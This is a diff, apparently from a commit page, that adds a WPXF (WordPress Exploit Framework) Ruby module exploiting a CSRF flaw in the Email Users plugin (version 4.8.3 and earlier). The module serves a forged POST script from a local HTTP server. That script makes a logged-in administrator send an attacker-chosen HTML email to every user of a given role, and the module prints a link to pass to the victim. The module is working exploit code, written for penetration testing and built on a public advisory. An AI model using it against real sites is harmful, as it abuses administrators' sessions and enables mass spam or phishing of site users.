|
| 1 | +class Wpxf::Auxiliary::EmailUsersCsrfBulkMail < Wpxf::Module |
| 2 | + include Wpxf::WordPress::StagedReflectedXss |
| 3 | + |
| 4 | + def initialize |
| 5 | + super |
| 6 | + |
| 7 | + update_info( |
| 8 | + name: 'Email Users <= 4.8.3 CSRF Bulk Mail', |
| 9 | + desc: 'This module exploits a lack of CSRF protection in versions <= 4.8.3 of '\ |
| 10 | + 'the Email Users plugin, which allows for the sending of a bulk e-mail to '\ |
| 11 | + 'all users of a specified role.', |
| 12 | + author: [ |
| 13 | + 'Julien Rentrop', # Disclosure |
| 14 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 15 | + ], |
| 16 | + references: [ |
| 17 | + ['WPVDB', '8601'], |
| 18 | + ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_email_users_wordpress_plugin.html'] |
| 19 | + ], |
| 20 | + date: 'Aug 15 2016' |
| 21 | + ) |
| 22 | + |
| 23 | + register_options([ |
| 24 | + StringOption.new( |
| 25 | + name: 'user_role', |
| 26 | + desc: 'The role of the users to send the e-mail to', |
| 27 | + default: 'Subscriber', |
| 28 | + required: true |
| 29 | + ), |
| 30 | + StringOption.new( |
| 31 | + name: 'email_body', |
| 32 | + desc: 'The HTML body of the e-mail to send', |
| 33 | + required: true |
| 34 | + ), |
| 35 | + StringOption.new( |
| 36 | + name: 'email_subject', |
| 37 | + desc: 'The subject of the e-mail to send', |
| 38 | + required: true |
| 39 | + ) |
| 40 | + ]) |
| 41 | + end |
| 42 | + |
| 43 | + def check |
| 44 | + check_plugin_version_from_readme('email-users', '4.8.4') |
| 45 | + end |
| 46 | + |
| 47 | + def user_role |
| 48 | + "role-#{datastore['user_role'].downcase}" |
| 49 | + end |
| 50 | + |
| 51 | + def on_http_request(path, _params, _headers) |
| 52 | + return '' unless path.eql? normalize_uri(xss_path, initial_req_path) |
| 53 | + emit_info 'Serving CSRF script to victim...' |
| 54 | + stop_http_server |
| 55 | + { type: 'text/html', body: initial_script } |
| 56 | + end |
| 57 | + |
| 58 | + def vulnerable_url |
| 59 | + normalize_uri(wordpress_url_admin, 'admin.php?page=mailusers-send-to-group-page') |
| 60 | + end |
| 61 | + |
| 62 | + def initial_script |
| 63 | + create_basic_post_script( |
| 64 | + vulnerable_url, |
| 65 | + 'send' => 'true', |
| 66 | + 'fromName' => '', |
| 67 | + 'fromAddress' => '', |
| 68 | + 'group_mode' => 'role', |
| 69 | + 'mail_format' => 'html', |
| 70 | + 'send_targets[]' => user_role, |
| 71 | + 'subject' => datastore['email_subject'], |
| 72 | + 'mailcontent' => datastore['email_body'] |
| 73 | + ) |
| 74 | + end |
| 75 | + |
| 76 | + def run |
| 77 | + return false unless super |
| 78 | + |
| 79 | + emit_info 'Provide the URL below to the victim to send the bulk e-mail' |
| 80 | + puts |
| 81 | + puts url_with_xss |
| 82 | + puts |
| 83 | + |
| 84 | + start_http_server |
| 85 | + true |
| 86 | + end |
| 87 | +end |
0 commit comments